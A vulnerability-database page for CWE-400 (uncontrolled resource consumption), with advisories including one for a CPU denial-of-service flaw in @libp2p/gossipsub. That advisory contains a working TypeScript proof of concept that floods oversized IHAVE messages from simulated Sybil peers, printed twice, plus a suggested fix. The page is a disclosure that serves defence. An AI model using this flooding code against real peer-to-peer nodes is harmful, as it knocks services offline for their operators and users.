CWE-400
Weakness DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
Dimensions
- Behavior-Property: Uncontrolled
- Behavior-Type: Consumption
- Resource-Type: Resource
Mapping guidance
CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).
Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.
Modes of introduction
The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.
There are at least three distinct scenarios that can commonly lead to resource exhaustion:
Lack of throttling for the number of allocated resources.
Losing all references to a resource before reaching the shutdown stage.
Not closing/returning a resource after processing.
Resource exhaustion problems often occur due to an incorrect implementation of the following situations:
Error conditions and other exceptional circumstances.
Confusion over which part of the program is responsible for releasing the resource.
Detection methods
Automated Static Analysis
Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.
Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.
Effectiveness: Limited
Automated Dynamic Analysis
Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.
Effectiveness: Moderate
Fuzzing
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.
Effectiveness: Opportunistic
Notes
Theoretical
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.
Other
Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.
A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.
Limited resources include memory, file system storage, database connection pool entries, CPU, and others.
Content history
Suggested mappings to ISA/IEC 62443.
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability.
updated Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
updated Description, Name, Relationships
updated Description
updated Name, Relationships
updated Description, Relationships
updated Relationships
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
updated Related_Attack_Patterns
updated Description
updated Demonstrative_Examples
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Relationships
updated Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships
updated Relationships
updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships
updated References, Type
updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes
updated Related_Attack_Patterns, Relationships
updated Description, Relationships
updated Description, References, Related_Attack_Patterns, Relationships
updated Description, Maintenance_Notes
updated Relationships
updated Related_Attack_Patterns
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships
updated Relationships
updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction
updated Observed_Examples, References
updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities
updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
7207 vulnerabilities reference this CWE, most recent first.
GHSA-CW99-F88J-FMM4
Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31Uncontrolled resource consumption in Windows Remote Desktop Services allows an unauthorized attacker to deny service over a network.
{
"affected": [],
"aliases": [
"CVE-2025-53722"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T18:15:41Z",
"severity": "HIGH"
},
"details": "Uncontrolled resource consumption in Windows Remote Desktop Services allows an unauthorized attacker to deny service over a network.",
"id": "GHSA-cw99-f88j-fmm4",
"modified": "2025-08-12T18:31:32Z",
"published": "2025-08-12T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53722"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53722"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CWC9-CP4J-MCVV
Vulnerability from github – Published: 2026-07-10 16:04 – Updated: 2026-07-10 16:04Summary
gossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call.
The two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely.
Details
No decode-time cap on message ID count (message/decodeRpc.ts:11-19)
export const defaultDecodeRpcLimits: DecodeRPCLimits = {
maxSubscriptions: Infinity,
maxMessages: Infinity,
maxIhaveMessageIDs: Infinity,
maxIwantMessageIDs: Infinity,
maxIdontwantMessageIDs: Infinity,
maxControlMessages: Infinity,
maxPeerInfos: Infinity
}
These are the defaults unless the operator explicitly overrides opts.decodeRpcLimits. A TODO at gossipsub.ts:857 already notes the gap: // TODO: Check max gossip message size, before decodeRpc().
IHAVE iterates all IDs before truncating (gossipsub.ts:1311-1327)
messageIDs.forEach((msgId) => {
const msgIdStr = this.msgIdToStrFn(msgId)
if (!this.seenCache.has(msgIdStr)) {
iwant.set(msgIdStr, msgId)
}
})
// truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes
The per-peer flood counters (iasked, peerhave) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval.
IWANT has no rate limit at all (gossipsub.ts:1377-1394)
messageIDs?.forEach((msgId) => {
const msgIdStr = this.msgIdToStrFn(msgId)
const entry = this.mcache.getWithIWantCount(msgIdStr, id)
// ...
})
Unlike IHAVE, handleIWant has no peerhave or iasked equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker's score (onIwantRcv is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection.
Attack Paths
IHAVE (requires ~10 Sybil peers)
The attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default gossipThreshold of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single ControlIHave entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat.
IWANT (single peer, no Sybil) The attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim's cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely.
PoC
Setup and execution of PoC
git clone https://github.com/libp2p/js-libp2p.git
cd js-libp2p
npm install
cd packages/gossipsub
npx aegir build
node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.spec.js' --timeout 30000
PoC Content:
import { stop } from '@libp2p/interface'
import assert from 'node:assert'
import { performance } from 'node:perf_hooks'
import { encode as lpEncode } from 'it-length-prefixed'
import { pEvent } from 'p-event'
import { RPC } from '../src/message/rpc.js'
import { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from '../src/constants.js'
import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'
import type { GossipSubAndComponents } from './utils/create-pubsub.js'
const TOPIC = 'poc-ihave-flood'
const MSG_ID_BYTES = 20
// 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes)
const MSG_IDS_PER_IHAVE = 180_000
function randomMsgIds (count: number): Uint8Array[] {
return Array.from({ length: count }, () => {
const id = new Uint8Array(MSG_ID_BYTES)
crypto.getRandomValues(id)
return id
})
}
describe('CPU DoS via oversized IHAVE and IWANT control message arrays', function () {
this.timeout(30_000)
let victim: GossipSubAndComponents
let attacker: GossipSubAndComponents
beforeEach(async () => {
;[victim, attacker] = await Promise.all([
createComponents({ init: { allowPublishToZeroTopicPeers: true } }),
createComponents({ init: { allowPublishToZeroTopicPeers: true } })
])
// Both subscribe to the topic so the victim builds a mesh entry
victim.pubsub.subscribe(TOPIC)
attacker.pubsub.subscribe(TOPIC)
await connectPubsubNodes(victim, attacker)
// Wait for one heartbeat so the victim's mesh includes the attacker
await pEvent(victim.pubsub, 'gossipsub:heartbeat')
})
afterEach(async () => {
await stop(
victim.pubsub, attacker.pubsub,
...Object.values(victim.components),
...Object.values(attacker.components)
)
})
it('BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms', async () => {
const attackerIdStr = attacker.components.peerId.toString()
// Verify attacker is in victim's mesh (required for handleIHave to iterate IDs)
const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set<string> | undefined
if (meshPeers == null || !meshPeers.has(attackerIdStr)) {
// Force mesh membership for the PoC if heartbeat hasn't built it yet
if (meshPeers == null) {
(victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr]))
} else {
meshPeers.add(attackerIdStr)
}
}
const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)
// Invoke handleIHave directly
const t0 = performance.now()
const iwant = (victim.pubsub as any).handleIHave(
attackerIdStr,
[{ topicID: TOPIC, messageIDs }]
) as Array<{ messageIDs: Uint8Array[] }>
const elapsed = performance.now() - t0
console.log(`\n[PoC] 1 IHAVE × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`)
console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`)
console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`)
// The blocking time should be significant (>>10ms) for a meaningful DoS
assert.ok(elapsed > 50,
`expected >50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`)
// Victim caps the response regardless of how many IDs were iterated
assert.ok(
iwant[0]?.messageIDs?.length <= GossipsubMaxIHaveLength,
`response should be capped at ${GossipsubMaxIHaveLength}`
)
})
it('MULTI-PEER: N peers × 1 IHAVE each, iasked resets per peer, total block scales linearly', async () => {
const N_PEERS = 10
const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)
// Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes
const fakeMeshPeers: Set<string> = new Set()
;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers)
let totalElapsed = 0
for (let i = 0; i < N_PEERS; i++) {
// Each "Sybil" peer uses a unique peer ID string
const fakePeerId = `12D3KooW${i.toString().padStart(36, '0')}`
fakeMeshPeers.add(fakePeerId)
// Fresh counters: simulates a peer the victim hasn't seen this heartbeat
;(victim.pubsub as any).peerhave.delete(fakePeerId)
;(victim.pubsub as any).iasked.delete(fakePeerId)
// Score defaults to 0 (> gossipThreshold of -10): no score entry needed
const t0 = performance.now()
;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }])
const elapsed = performance.now() - t0
totalElapsed += elapsed
process.stdout.write(` peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\n`)
}
const ratio = totalElapsed / GossipsubHeartbeatInterval
console.log(`\n[PoC] ${N_PEERS} peers × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`)
console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`)
console.log(`[PoC] Ratio (block / heartbeat): ${ratio.toFixed(2)}x`)
console.log(`[PoC] Attacker cost: ${N_PEERS} × 4 MB = ${N_PEERS * 4} MB/s outbound`)
console.log(`[PoC] Each peer's iasked resets at heartbeat — sustainable indefinitely`)
// 10 peers should easily exceed the 1s heartbeat interval
assert.ok(
totalElapsed > GossipsubHeartbeatInterval * 0.9,
`expected ${N_PEERS} peers to block ≥ ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms`
)
})
it('ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit', () => {
const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)
const rpc = RPC.encode({
subscriptions: [],
messages: [],
control: {
ihave: [{ topicID: TOPIC, messageIDs }],
iwant: [],
graft: [],
prune: [],
idontwant: []
}
})
const MAX_LP_BYTES = 4 * 1024 * 1024 // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed
console.log(`\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)
console.log(`[PoC] LP frame limit: ${MAX_LP_BYTES / (1024 * 1024)} MB`)
console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`)
console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`)
assert.ok(rpc.byteLength <= MAX_LP_BYTES,
`crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`)
})
})
The IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request.
Impact
Any node running @libp2p/gossipsub with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling createLibp2p({ services: { pubsub: gossipsub() } }).
With 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth.
Nodes that explicitly configure opts.decodeRpcLimits with finite values are not affected.
Suggested fix
Set finite defaults in decodeRpc.ts:
export const defaultDecodeRpcLimits: DecodeRPCLimits = {
maxSubscriptions: 128,
maxMessages: 256,
maxIhaveMessageIDs: 5_000,
maxIwantMessageIDs: 5_000,
maxIdontwantMessageIDs: 5_000,
maxControlMessages: 128,
maxPeerInfos: 16
}
Setting maxIhaveMessageIDs and maxIwantMessageIDs to 5000 (matching GossipsubMaxIHaveLength) bounds the iteration cost to the response limit rather than attacker input.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@libp2p/gossipsub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "16.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49866"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T16:04:49Z",
"nvd_published_at": "2026-07-08T21:16:49Z",
"severity": "HIGH"
},
"details": "### Summary\ngossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call.\n\nThe two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely.\n\n### Details\n### No decode-time cap on message ID count (`message/decodeRpc.ts:11-19`)\n```typescript \nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {\n maxSubscriptions: Infinity,\n maxMessages: Infinity,\n maxIhaveMessageIDs: Infinity,\n maxIwantMessageIDs: Infinity,\n maxIdontwantMessageIDs: Infinity,\n maxControlMessages: Infinity,\n maxPeerInfos: Infinity\n}\n```\n\nThese are the defaults unless the operator explicitly overrides `opts.decodeRpcLimits`. A `TODO` at `gossipsub.ts:857` already notes the gap: `// TODO: Check max gossip message size, before decodeRpc()`.\n\n### IHAVE iterates all IDs before truncating (`gossipsub.ts:1311-1327`)\n\n```typescript \nmessageIDs.forEach((msgId) =\u003e { \n const msgIdStr = this.msgIdToStrFn(msgId) \n if (!this.seenCache.has(msgIdStr)) { \n iwant.set(msgIdStr, msgId) \n } \n}) \n// truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes \n```\n\nThe per-peer flood counters (`iasked`, `peerhave`) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval.\n\n### IWANT has no rate limit at all (`gossipsub.ts:1377-1394`)\n```typescript \nmessageIDs?.forEach((msgId) =\u003e { \n const msgIdStr = this.msgIdToStrFn(msgId) \n const entry = this.mcache.getWithIWantCount(msgIdStr, id) \n // ... \n}) \n```\n\nUnlike IHAVE, `handleIWant` has no `peerhave` or `iasked` equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker\u0027s score (`onIwantRcv` is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection.\n\n### Attack Paths\n**IHAVE (requires ~10 Sybil peers)**\nThe attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default `gossipThreshold` of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single `ControlIHave` entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat.\n\n**IWANT (single peer, no Sybil)**\nThe attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim\u0027s cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely.\n\n### PoC\nSetup and execution of PoC\n```bash \ngit clone https://github.com/libp2p/js-libp2p.git\ncd js-libp2p \nnpm install \ncd packages/gossipsub \nnpx aegir build \nnode --experimental-vm-modules ../../node_modules/.bin/mocha \u0027dist/test/poc.spec.js\u0027 --timeout 30000 \n```\nPoC Content:\n```typescript\nimport { stop } from \u0027@libp2p/interface\u0027\nimport assert from \u0027node:assert\u0027\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { encode as lpEncode } from \u0027it-length-prefixed\u0027\nimport { pEvent } from \u0027p-event\u0027\nimport { RPC } from \u0027../src/message/rpc.js\u0027\nimport { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from \u0027../src/constants.js\u0027\nimport { createComponents, connectPubsubNodes } from \u0027./utils/create-pubsub.js\u0027\nimport type { GossipSubAndComponents } from \u0027./utils/create-pubsub.js\u0027\n\nconst TOPIC = \u0027poc-ihave-flood\u0027\nconst MSG_ID_BYTES = 20\n// 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes)\nconst MSG_IDS_PER_IHAVE = 180_000\n\nfunction randomMsgIds (count: number): Uint8Array[] {\n return Array.from({ length: count }, () =\u003e {\n const id = new Uint8Array(MSG_ID_BYTES)\n crypto.getRandomValues(id)\n return id\n })\n}\n\ndescribe(\u0027CPU DoS via oversized IHAVE and IWANT control message arrays\u0027, function () {\n this.timeout(30_000)\n\n let victim: GossipSubAndComponents\n let attacker: GossipSubAndComponents\n\n beforeEach(async () =\u003e {\n ;[victim, attacker] = await Promise.all([\n createComponents({ init: { allowPublishToZeroTopicPeers: true } }),\n createComponents({ init: { allowPublishToZeroTopicPeers: true } })\n ])\n\n // Both subscribe to the topic so the victim builds a mesh entry\n victim.pubsub.subscribe(TOPIC)\n attacker.pubsub.subscribe(TOPIC)\n\n await connectPubsubNodes(victim, attacker)\n\n // Wait for one heartbeat so the victim\u0027s mesh includes the attacker\n await pEvent(victim.pubsub, \u0027gossipsub:heartbeat\u0027)\n })\n\n afterEach(async () =\u003e {\n await stop(\n victim.pubsub, attacker.pubsub,\n ...Object.values(victim.components),\n ...Object.values(attacker.components)\n )\n })\n\n it(\u0027BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms\u0027, async () =\u003e {\n const attackerIdStr = attacker.components.peerId.toString()\n\n // Verify attacker is in victim\u0027s mesh (required for handleIHave to iterate IDs)\n const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set\u003cstring\u003e | undefined\n if (meshPeers == null || !meshPeers.has(attackerIdStr)) {\n // Force mesh membership for the PoC if heartbeat hasn\u0027t built it yet\n if (meshPeers == null) {\n (victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr]))\n } else {\n meshPeers.add(attackerIdStr)\n }\n }\n\n const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n // Invoke handleIHave directly\n const t0 = performance.now()\n const iwant = (victim.pubsub as any).handleIHave(\n attackerIdStr,\n [{ topicID: TOPIC, messageIDs }]\n ) as Array\u003c{ messageIDs: Uint8Array[] }\u003e\n const elapsed = performance.now() - t0\n\n console.log(`\\n[PoC] 1 IHAVE \u00d7 ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`)\n console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`)\n console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`)\n\n // The blocking time should be significant (\u003e\u003e10ms) for a meaningful DoS\n assert.ok(elapsed \u003e 50,\n `expected \u003e50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`)\n\n // Victim caps the response regardless of how many IDs were iterated\n assert.ok(\n iwant[0]?.messageIDs?.length \u003c= GossipsubMaxIHaveLength,\n `response should be capped at ${GossipsubMaxIHaveLength}`\n )\n })\n\n it(\u0027MULTI-PEER: N peers \u00d7 1 IHAVE each, iasked resets per peer, total block scales linearly\u0027, async () =\u003e {\n const N_PEERS = 10\n const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n // Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes\n const fakeMeshPeers: Set\u003cstring\u003e = new Set()\n ;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers)\n\n let totalElapsed = 0\n\n for (let i = 0; i \u003c N_PEERS; i++) {\n // Each \"Sybil\" peer uses a unique peer ID string\n const fakePeerId = `12D3KooW${i.toString().padStart(36, \u00270\u0027)}`\n fakeMeshPeers.add(fakePeerId)\n\n // Fresh counters: simulates a peer the victim hasn\u0027t seen this heartbeat\n ;(victim.pubsub as any).peerhave.delete(fakePeerId)\n ;(victim.pubsub as any).iasked.delete(fakePeerId)\n // Score defaults to 0 (\u003e gossipThreshold of -10): no score entry needed\n\n const t0 = performance.now()\n ;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }])\n const elapsed = performance.now() - t0\n\n totalElapsed += elapsed\n process.stdout.write(` peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\\n`)\n }\n\n const ratio = totalElapsed / GossipsubHeartbeatInterval\n console.log(`\\n[PoC] ${N_PEERS} peers \u00d7 ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`)\n console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`)\n console.log(`[PoC] Ratio (block / heartbeat): ${ratio.toFixed(2)}x`)\n console.log(`[PoC] Attacker cost: ${N_PEERS} \u00d7 4 MB = ${N_PEERS * 4} MB/s outbound`)\n console.log(`[PoC] Each peer\u0027s iasked resets at heartbeat \u2014 sustainable indefinitely`)\n\n // 10 peers should easily exceed the 1s heartbeat interval\n assert.ok(\n totalElapsed \u003e GossipsubHeartbeatInterval * 0.9,\n `expected ${N_PEERS} peers to block \u2265 ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms`\n )\n })\n\n it(\u0027ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit\u0027, () =\u003e {\n const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n const rpc = RPC.encode({\n subscriptions: [],\n messages: [],\n control: {\n ihave: [{ topicID: TOPIC, messageIDs }],\n iwant: [],\n graft: [],\n prune: [],\n idontwant: []\n }\n })\n\n const MAX_LP_BYTES = 4 * 1024 * 1024 // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed\n\n console.log(`\\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)\n console.log(`[PoC] LP frame limit: ${MAX_LP_BYTES / (1024 * 1024)} MB`)\n console.log(`[PoC] Fits in one frame: ${rpc.byteLength \u003c= MAX_LP_BYTES ? \u0027YES \u2713\u0027 : \u0027NO \u2717\u0027}`)\n console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`)\n\n assert.ok(rpc.byteLength \u003c= MAX_LP_BYTES,\n `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default \u2014 confirms no LP-level protection`)\n })\n})\n```\n\nThe IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request.\n\n### Impact\nAny node running `@libp2p/gossipsub` with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling `createLibp2p({ services: { pubsub: gossipsub() } })`.\n\nWith 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth.\n\nNodes that explicitly configure `opts.decodeRpcLimits` with finite values are not affected.\n\n## Suggested fix\n\nSet finite defaults in `decodeRpc.ts`:\n```typescript\nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {\n maxSubscriptions: 128,\n maxMessages: 256, \n maxIhaveMessageIDs: 5_000,\n maxIwantMessageIDs: 5_000, \n maxIdontwantMessageIDs: 5_000,\n maxControlMessages: 128,\n maxPeerInfos: 16\n}\n```\n\nSetting `maxIhaveMessageIDs` and `maxIwantMessageIDs` to 5000 (matching `GossipsubMaxIHaveLength`) bounds the iteration cost to the response limit rather than attacker input.",
"id": "GHSA-cwc9-cp4j-mcvv",
"modified": "2026-07-10T16:04:49Z",
"published": "2026-07-10T16:04:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-cwc9-cp4j-mcvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49866"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/pull/3520"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/commit/773dd80ded24dbd6b19e675c89fd2f3b45f2d899"
},
{
"type": "PACKAGE",
"url": "https://github.com/libp2p/js-libp2p"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "libp2p: CPU DoS via oversized IHAVE and IWANT control message arrays"
}
GHSA-CWC9-V946-JVQJ
Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2025-04-11 03:51net/core/net_namespace.c in the Linux kernel 2.6.32 and earlier does not properly handle a high rate of creation and cleanup of network namespaces, which makes it easier for remote attackers to cause a denial of service (memory consumption) via requests to a daemon that requires a separate namespace per connection, as demonstrated by vsftpd.
{
"affected": [],
"aliases": [
"CVE-2011-2189"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
